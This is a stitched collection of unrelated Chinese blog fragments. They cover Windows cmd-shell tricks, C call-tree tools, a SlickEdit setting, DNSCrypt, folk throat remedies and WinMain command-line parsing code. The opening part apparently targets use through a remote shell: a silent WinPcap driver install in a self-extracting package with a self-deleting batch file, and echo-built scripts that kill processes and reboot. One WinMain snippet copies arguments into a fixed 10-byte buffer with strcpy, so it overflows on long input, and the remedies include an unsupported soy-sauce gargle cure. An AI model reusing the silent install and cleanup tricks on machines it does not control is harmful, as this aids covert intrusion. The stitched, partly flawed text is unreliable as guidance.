最后說一下查看IPSec策略的辦法。 對于XP很簡單,一條命令搞定——ipseccmd show filters 而ipsecpol沒有查詢的功能。需要再用一個命令行工具netdiag。它位于2000系統(tǒng)安裝盤的SUPPORT\TOOLS\SUPPORT.CAB中。(已經(jīng)上傳了三個文件,也就不在乎多一個了。^_^)
netdiag需要RemoteRegistry服務(wù)的支持。所以先啟動該服務(wù):
net start remoteregistry
不啟動RemoteRegistry就會得到一個錯誤:
[FATAL] Failed to get system information of this machine.
netdiag這個工具功能十分強(qiáng)大,與網(wǎng)絡(luò)有關(guān)的信息都可以獲取!不過,輸出的信息有時過于詳細(xì),超過命令行控制臺cmd.exe的輸出緩存,而不是每個遠(yuǎn)程cmd shell都可以用more命令來分頁的。
查看ipsec策略的命令是: netdiag /debug /test:ipsec
然后是一長串輸出信息。IPSec策略位于最后。
軟件安裝 一個軟件/工具的安裝過程,一般來說只是做兩件事:拷貝文件到特定目錄和修改注冊表。只要搞清楚具體的內(nèi)容,那么就可以自己在命令行下實(shí)現(xiàn)了。(不考慮安裝后需要注冊激活等情況)
WinPcap是個很常用的工具,但必須在窗口界面下安裝。在網(wǎng)上也可以找到不用GUI的版本(但還是有版權(quán)頁),其實(shí)我們完全可以自己做一個。
以WinPcap 3.0a 為例。通過比較安裝前后的文件系統(tǒng)和注冊表快照,很容易了解整個安裝過程。 除去反安裝的部分,關(guān)鍵的文件有三個:wpcap.dll,packet.dll和npf.sys。前面兩個文件位于system32目錄下,第三個在system32\drivers下。而注冊表的變化是增加了一個系統(tǒng)服務(wù)NPF。注意,是系統(tǒng)服務(wù)(即驅(qū)動)不是Win32服務(wù)。
作為系統(tǒng)服務(wù),不但要在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services下增加主鍵,在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root下也增加主鍵。而后者默認(rèn)只有SYSTEM身份才可以修改。幸運(yùn)的是,并不需要手動添加它,winpcap被調(diào)用時會自動搞定。甚至完全不用手動修改注冊表,所有的事winpcap都會自己完成,只需要將三個文件復(fù)制到合適的位置就行了。
作為范例,還是演示一下如何修改注冊表:利用前面說過的inf文件來實(shí)現(xiàn)。
[Version] Signature="$WINDOWS NT$" [DefaultInstall.Services] AddService=NPF,,winpcap_svr [winpcap_svr] DisplayName=Netgroup Packet Filter ServiceType=0x1 StartType=3 ErrorControl=1 ServiceBinary=%12%\npf.sys
將上面這些內(nèi)容保存為_wpcap_.inf文件。 再寫一個批處理_wpcap_.bat:
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %CD%\_wpcap_.inf del _wpcap_.inf if /i %CD%==%SYSTEMROOT%\system32 goto COPYDRV copy packet.dll %SYSTEMROOT%\system32\ copy wpcap.dll %SYSTEMROOT%\system32\ del packet.dll del wpcap.dll :COPYDRV if /i %CD%==%SYSTEMROOT%\system32\drivers goto END copy npf.sys %SYSTEMROOT%\system32\drivers\ del npf.sys :END del %0
然后用winrar將所有文件(5個)打包為自解壓的exe,并將『高級自解壓選項(xiàng)』->『解壓后運(yùn)行』設(shè)置為_wpcap_.bat,命令行的winpcap安裝包就制作完成了。
注意,批處理最后一行沒有回車符。否則會因?yàn)檎谶\(yùn)行而無法刪除自己。
所有的軟件安裝,基本上可以套用這個思路。但也有例外的,那就是系統(tǒng)補(bǔ)丁的安裝。 由于系統(tǒng)補(bǔ)丁有可能要替換正在被執(zhí)行或訪問的文件,所以用copy命令是不行的。 幸好,Windows補(bǔ)丁包支持命令行安裝。 比如:
KB824146.exe -n -z -q
-n 不保留備份 -z 不重起 -q 安靜模式
如果有一堆補(bǔ)丁要打,那么用RAR打包成自解壓文件,外加一個批處理。
for %%f in (KB??????.exe) do %%f -n -z -q for %%f in (KB??????.exe) do del %%f del %0
Windows腳本 很多事用腳本來做是很簡潔的。下面給出幾個常用腳本的echo版。
1,顯示系統(tǒng)版本
@echo for each ps in getobject _ >ps.vbs @echo ("winmgmts:\\.\root\cimv2:win32_operatingsystem").instances_ >>ps.vbs @echo wscript.echo ps.caption^&" "^&ps.version:next >>ps.vbs cscript //nologo ps.vbs & del ps.vbs
2,列舉進(jìn)程
@echo for each ps in getobject _ >ps.vbs @echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs @echo wscript.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs cscript //nologo ps.vbs & del ps.vbs
3,終止進(jìn)程
@echo for each ps in getobject _ >pk.vbs @echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pk.vbs @echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pk.vbs
要終止PID為123的進(jìn)程,使用如下語法: cscript pk.vbs 123
如果顯示一個0,表示終止成功。
然后: del pk.vbs
4,重啟系統(tǒng)
@echo for each os in getobject _ >rb.vbs @echo ("winmgmts:{(shutdown)}!\\.\root\cimv2:win32_operatingsystem").instances_ >>rb.vbs @echo os.win32shutdown(2):next >>rb.vbs & cscript //nologo rb.vbs & del rb.vbs
5,列舉自啟動的服務(wù)
@echo for each sc in getobject("winmgmts:\\.\root\cimv2:win32_service").instances_ >sc.vbs @echo if sc.startmode="Auto" then wscript.echo sc.name^&" - "^&sc.pathname >>sc.vbs @echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs
6,列舉正在運(yùn)行的服務(wù)
@echo for each sc in getobject("winmgmts:\\.\root\cimv2:win32_service").instances_ >sc.vbs @echo if sc.state="Running" then wscript.echo sc.name^&" - "^&sc.pathname >>sc.vbs @echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs
7,顯示系統(tǒng)最后一次啟動的時間
@echo for each os in getobject _ >bt.vbs @echo ("winmgmts:\\.\root\cimv2:win32_operatingsystem").instances_ >>bt.vbs @echo wscript.echo os.lastbootuptime:next >>bt.vbs & cscript //nologo bt.vbs & del bt.vbs
顯示結(jié)果的格式是: yyyymmddHHMMSSxxxxxxZZZZ _年_月日時分秒_微秒_時區(qū)
8,顯示系統(tǒng)運(yùn)行時間
@echo for each os in getobject _ >rt.vbs @echo ("winmgmts:\\.\root\cimv2:win32_perfrawdata_perfos_system").instances_ >>rt.vbs @echo s=os.timestamp_sys100ns:l=len(s):s=left(s,l-7):for i=1 to l-7 >>rt.vbs @echo t=t^&mid(s,i,1):d=t\86400:r=r^&d:t=t mod 86400:next >>rt.vbs @echo wscript.echo cint(r)^&"d "^&t\3600^&"h "^&t\60 mod 60^&"m "^&t mod 60^&"s":next >>rt.vbs cscript //nologo rt.vbs & del rt.vbs
這個運(yùn)行時間是從性能計(jì)數(shù)器中獲得的64位整型數(shù),不會出現(xiàn)在49.7天后溢出的情況。
附言 cmd shell博大精深,本文掛一漏萬講了一些常用技巧,希望對各位有所幫助。
也許你早知道了這些方法,也許你有更好的方法,希望你能寫出來和大家分享。
最后,感謝你耐心看完本文。本人水平有限,錯誤之處懇請指正。
平時用vim+cscope+ctags看程序還不錯,但跳來跳去還是不太直觀,如果能將C代碼的調(diào)用生成調(diào)用樹就再好不過了,果然,偶找到了一款不錯的工具calltree,有了這個工具,可以說宏觀微宏一起把握了,
先看一下用它生成的函數(shù)調(diào)用圖:
源碼是nbtscan小工具的代碼.
ljt@debian:~/source/nbtscan-1.5.1$ calltree -gb -np -m *.c
main [nbtscan.c:289]: | FD_ISSET | FD_SET | FD_ZERO | atoi | bind | bzero | d_print_hostinfo [nbtscan.c:93] | | inet_ntoa | | printf | | strncpy | delete_list [list.c:29] | | free | err_die | err_print | exit | feof | fgets | fopen | fprintf | free | getopt | gettimeofday | htons | in_list [list.c:101] | | compare [list.c:47] | | new_list_item [list.c:17] | | | err_die | | | malloc | inet_aton | inet_ntoa | insert [list.c:55] | | compare [list.c:47] | | free | | new_list_item [list.c:17] | | | err_die | | | malloc | l_print_hostinfo [nbtscan.c:260] | | inet_ntoa | | printf | | strncpy | malloc | new_list [list.c:8] | | err_die | | malloc | next_address [range.c:72] | | htonl | | ntohl | ntohl | parse_response [statusq.c:147] | | bzero | | get16 [statusq.c:137] | | | memcpy | | | ntohs | | get32 [statusq.c:127] | | | memcpy | | | ntohl | | malloc | | memcpy | | strncpy | | typeof | print_banner [nbtscan.c:26] | | printf | print_header [nbtscan.c:87] | | printf | print_hostinfo [nbtscan.c:207] | | inet_ntoa | | printf | | strncpy | printf | recvfrom | select | send_query [statusq.c:93] | | bzero | | err_print | | gettimeofday | | htons | | inet_ntoa | | name_mangle [statusq.c:40] | | | HAVE_SNPRINTF | | | memset | | | snprintf | | | sprintf | | | strcmp | | | strlen | | | toupper | | sendto | | snprintf | set_range [nbtscan.c:80] | | is_ip [range.c:21] | | | inet_addr | | | ntohl | | is_range1 [range.c:36] | | | abs | | | atoi | | | err_die | | | free | | | inet_addr | | | malloc | | | ntohl | | | strchr | | | strcpy | | | strlen | | is_range2 [range.c:91] | | | atoi | | | err_die | | | free | | | inet_addr | | | malloc | | | ntohl | | | strchr | | | strcpy | | | strlen | sleep | snprintf | socket | strcmp | strdup | timerclear | timercmp | timersub | usage [nbtscan.c:32] | | exit | | printf | v_print_hostinfo [nbtscan.c:156] | | getnbservicename [statusq.c:370] | | | err_die | | | malloc | | | snprintf | | | strstr | | inet_ntoa | | printf | | strncpy
還不錯哦,能很直觀地顯示程序的架構(gòu)
下面介紹一下各選項(xiàng): ljt@debian:~/source/nbtscan-1.5.1$ calltree -gb -np -m *.c
-b 就是那個豎線了,很直觀地顯示縮進(jìn)層次。 -g 打印內(nèi)部函數(shù)的所屬文件名及行號,外部函數(shù)所屬文件名和行號也是可打印的,詳man
-np 不要調(diào)用c預(yù)處理器,這樣打印出的界面不會很雜亂,但也可能會產(chǎn)生錯誤哦,如果我們只看 函數(shù)的調(diào)用關(guān)系的話,不會有大問題。 -m 告訴程序從main開始
還有一個重要的選項(xiàng)是 listfunction ,縮寫是lf,用來只打印某個函數(shù)中的調(diào)用,用法是: $calltree -gb -np lf=send_query *.c
send_query [statusq.c:93]: | bzero | err_print | gettimeofday | htons | inet_ntoa | name_mangle [statusq.c:40] | | HAVE_SNPRINTF | | memset | | snprintf | | sprintf | | strcmp | | strlen | | toupper | sendto | snprintf
還有幾個不太常用的就不介紹了,細(xì)節(jié)大家還是看man吧,另外說明一點(diǎn)的是,安裝的時候它默認(rèn)是安裝到"/opt/schily/"目錄下,下面有bin, man, include等幾個目錄,你可以設(shè)置環(huán)境變量,或者干脆把它拷貝到/usr里相應(yīng)的目錄下,或者修改Makefile啦
下載地址:
ftp://ftp.berlios.de/pub/calltree/calltree-2.3.tar.bz2
calls似乎是一個挺老的小工具,用的人也不多。用途就是打印函數(shù)的調(diào)用關(guān)系。 地址:ftp://sunsite.unc.edu/pub/Linux/devel/lang/c/calls.tar.Z 下載解壓后得到的那個可執(zhí)行文件居然不能運(yùn)行。 -bash: ./calls: cannot execute binary file 重新編譯居然報錯。還需要修改main.c文件 原來是: extern char *sys_errlist[]; 改為: extern __const char *__const sys_errlist[]; 再編譯,OK了。
名叫 calls 的文件移動到 /usr/bin 目錄. 把名叫 calls.1 的文件移動到目錄 /usr/share/man/man1/ OK,可以用了。
|
E貌似有自己的shell,可以通過Build窗口訪問,是一個很方便的功能,在工程中點(diǎn)擊Compile或是Build,編譯的輸出信息都會顯示在Build窗口中,如果編譯出現(xiàn)錯誤,雙擊Error或是Warning就可以在源文件中定位,是一個十分方便的功能,不過我一直被亂碼所困擾,原因大概是shell默認(rèn)是用的語言是zh_CN-UTF8,和SE的默認(rèn)編碼方式不同,所以我們需要在SE初始化的時候修改環(huán)境變量,方法如下:
- gedit ~/.slickedit/14.0.2/vslick.ini
- 添加以下內(nèi)容:
[Enviroment] LANG = en_US.UTF-8 - Ctrl + S
- 重啟SE
我們還可以在這里添加其它環(huán)境變量,SE下Ctrl + Space切換輸入法的設(shè)置貌似也可以在這設(shè)置,不過還沒成功過。
1 PCHAR 2 GetFormattedTime( 3 BOOL bDateToo 4 ) 5 { 6 static char szTime[64]; 7 int cch = 0; 8 9 if (bDateToo) { 10 11 cch = 12 GetDateFormat( 13 LOCALE_USER_DEFAULT, 14 0, 15 NULL, // current date 16 "ddd", // short day of week 17 szTime, 18 sizeof szTime 19 ); 20 21 // cch includes null terminator, change it to 22 // a space to separate from time. 23 24 szTime[ cch - 1 ] = ' '; 25 } 26 27 // 28 // Get time and format to characters 29 // 30 31 GetTimeFormat( 32 LOCALE_USER_DEFAULT, 33 TIME_NOSECONDS, 34 NULL, // use current time 35 NULL, // use default format 36 szTime + cch, 37 (sizeof szTime) - cch ); 38 39 return szTime; 40 } 41
DNSCrypt —— 一個加密DNS傳輸?shù)墓ぞ?/div>
2012-03-24 23:42
DNSCrypt是一個確保客戶與DNS服務(wù)器之間傳輸安全的工具,基于DNSCurve修改而來。
由于Domain Name System(DNS)設(shè)計(jì)上的缺陷,用戶在瀏覽器里輸入很多海外網(wǎng)址以后,如果遭遇MITM或者DNS污染,瀏覽器就可能接收到錯誤的IP,而存在安全問題。為了解決這樣的問題,IETF在十幾年前便開始制定DNS的安全擴(kuò)展(DNSSEC)。利用公開密鑰加密技術(shù),通過對DNS數(shù)據(jù)進(jìn)行數(shù)字簽名,DNSSEC能夠驗(yàn)證DNS數(shù)據(jù)來源和驗(yàn)證在傳輸過程中DNS是否被篡改。
但是DNSSEC不保證DNS數(shù)據(jù)的機(jī)密性,DNS數(shù)據(jù)本身并沒有被加密,加之DNS的階層式模式,這便為一些機(jī)構(gòu)提供監(jiān)視,控制網(wǎng)絡(luò)的手段。典型的例子就是不能訪問一些海外的網(wǎng)站。DNSSEC也不提供免于DOS(Deny of Service)攻擊的辦法,由于數(shù)字簽名和簽名驗(yàn)證需要額外的數(shù)據(jù)運(yùn)算,DNSSEC反而更容易受到DOS攻擊。DNSCurve相對于DNSSEC的好處是,DNSCurve使用了更有效率的橢圓曲線加密算法而可以負(fù)擔(dān)的起每條查詢都單獨(dú)加密,從而更加安全。
DNSCrypt協(xié)議是非常類似DNSCurve的,作為一個DNS代理運(yùn)行,側(cè)重于客戶端和第一級DNS服務(wù)器之間的通信安全,能夠緩存DNS解析。DNSCrypt的上游DNS服務(wù)器是著名的OpenDNS服務(wù),簡單而言DNSCrypt就是加密了本機(jī)到OpenDNS服務(wù)器之間的DNS查詢通信過程(使用橢圓曲線加密算法),所以可以不受GreatFireWall的DNS污染干擾。
首先下載對應(yīng)平臺的dnscrypt client然后運(yùn)行,接著修改本地或者router的dns server為127.0.0.1. 然后你的所有dns請求都會加密進(jìn)行從而繞過GreatFireWall的dns污染順利解析到正確IP,以下是Win7系統(tǒng)設(shè)置的圖示:(DNSCrypt可以在Windows/Linux/BSD/OSX/iOS系統(tǒng)上運(yùn)行)

更多詳情:https://github.com/opendns/dnscrypt-proxy/
下載地址:https://github.com/opendns/dnscrypt-proxy/downloads
使用后即可直接訪問一些遭到DNS污染的網(wǎng)站,如果網(wǎng)站還支持https也可以訪問其https網(wǎng)址,比如一些Google服務(wù)。 |
8、咽喉干腫
推薦:蜜梨膏
做法:取生梨,用榨汁機(jī)榨成梨汁,加入適量蜂蜜,以文火熬制成膏。每日一匙,能清熱去火、生津潤喉。
點(diǎn)評:蜂蜜甘平,入肺脾大腸經(jīng),能潤腸通便,補(bǔ)肺潤喉,又能解毒。梨甘微酸涼,入肺脾經(jīng),能治口渴咳嗽便秘。所以二者放在一起熬膏可以起到潤喉的作用。新鮮綠葉蔬菜、黃瓜、橙子、綠茶、梨、胡蘿卜也有很好的清火作用。
2、咽喉腫痛
常吃生梨能防治口舌生瘡和咽喉腫痛;用醋加同量的水漱口,可減輕痛苦;嫩絲瓜搗爛擠汁,頻頻含漱;咽喉疼痛時,可用一匙醬油漱口,漱1分鐘左右吐出,連續(xù)3-4次,有療效
#include "stdafx.h" #include <STRING.h> #include <STDIO.H> int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { // TODO: Place code here. char *pCmdLine = GetCommandLine(); char sep[] = " "; char *token = NULL; char argv[10][10] = {0}; int argc = 0; token = strtok(pCmdLine,sep); while (token != NULL) { strcpy(argv[argc++],token); OutputDebugString(token); token = strtok(NULL,sep); } return 0; }
WinMain支持命令行參數(shù)的代碼
#include <windows.h> #include <stdio.h>
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE prevInstance, LPSTR lpCmdLine, int nShowCmd) { //for the command line; int argc = 0; LPWSTR *lpszArgv = NULL;
LPWSTR szCmdLine =(LPWSTR)::GetCommandLineW(); //獲取命令行參數(shù); lpszArgv = ::CommandLineToArgvW((const unsigned short *)szCmdLine, &argc); //拆分命令行參數(shù)字符串;
if (lpszArgv == NULL) { MessageBox(NULL, "Unable to parse command line", "Error", MB_OK); return 10; } for(int i = 0; i < argc; i++)
{ char str[MAX_PATH]; memset(str,0,MAX_PATH); //將LPWSTR轉(zhuǎn)換為char *: WideCharToMultiByte(CP_ACP, WC_COMPOSITECHECK,lpszArgv[i], -1,str,200,NULL,NULL); MessageBox(NULL,str, "Arglist contents", MB_OK); } LocalFree(lpszArgv); return 0; }
一個簡單的 方法用stdlib.h中的__argc,__argv
#include <windows.h> #include <stdlib.h>
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE prevInstance, LPSTR lpCmdLine, int nShowCmd) { //for the command line; for(int i = 0; i <__argc; i++)
{ char str[MAX_PATH]; char * str1; memset(str,0,MAX_PATH); //下面是獲取命令行參數(shù)值的典型用法: lstrcpy(str,__argv[i]); str1=strdup(__argv[i]); //MessageBox(NULL,str, "Arglist contents", MB_OK); MessageBox(NULL,str1, "Arglist contents", MB_OK); } return 0; }
|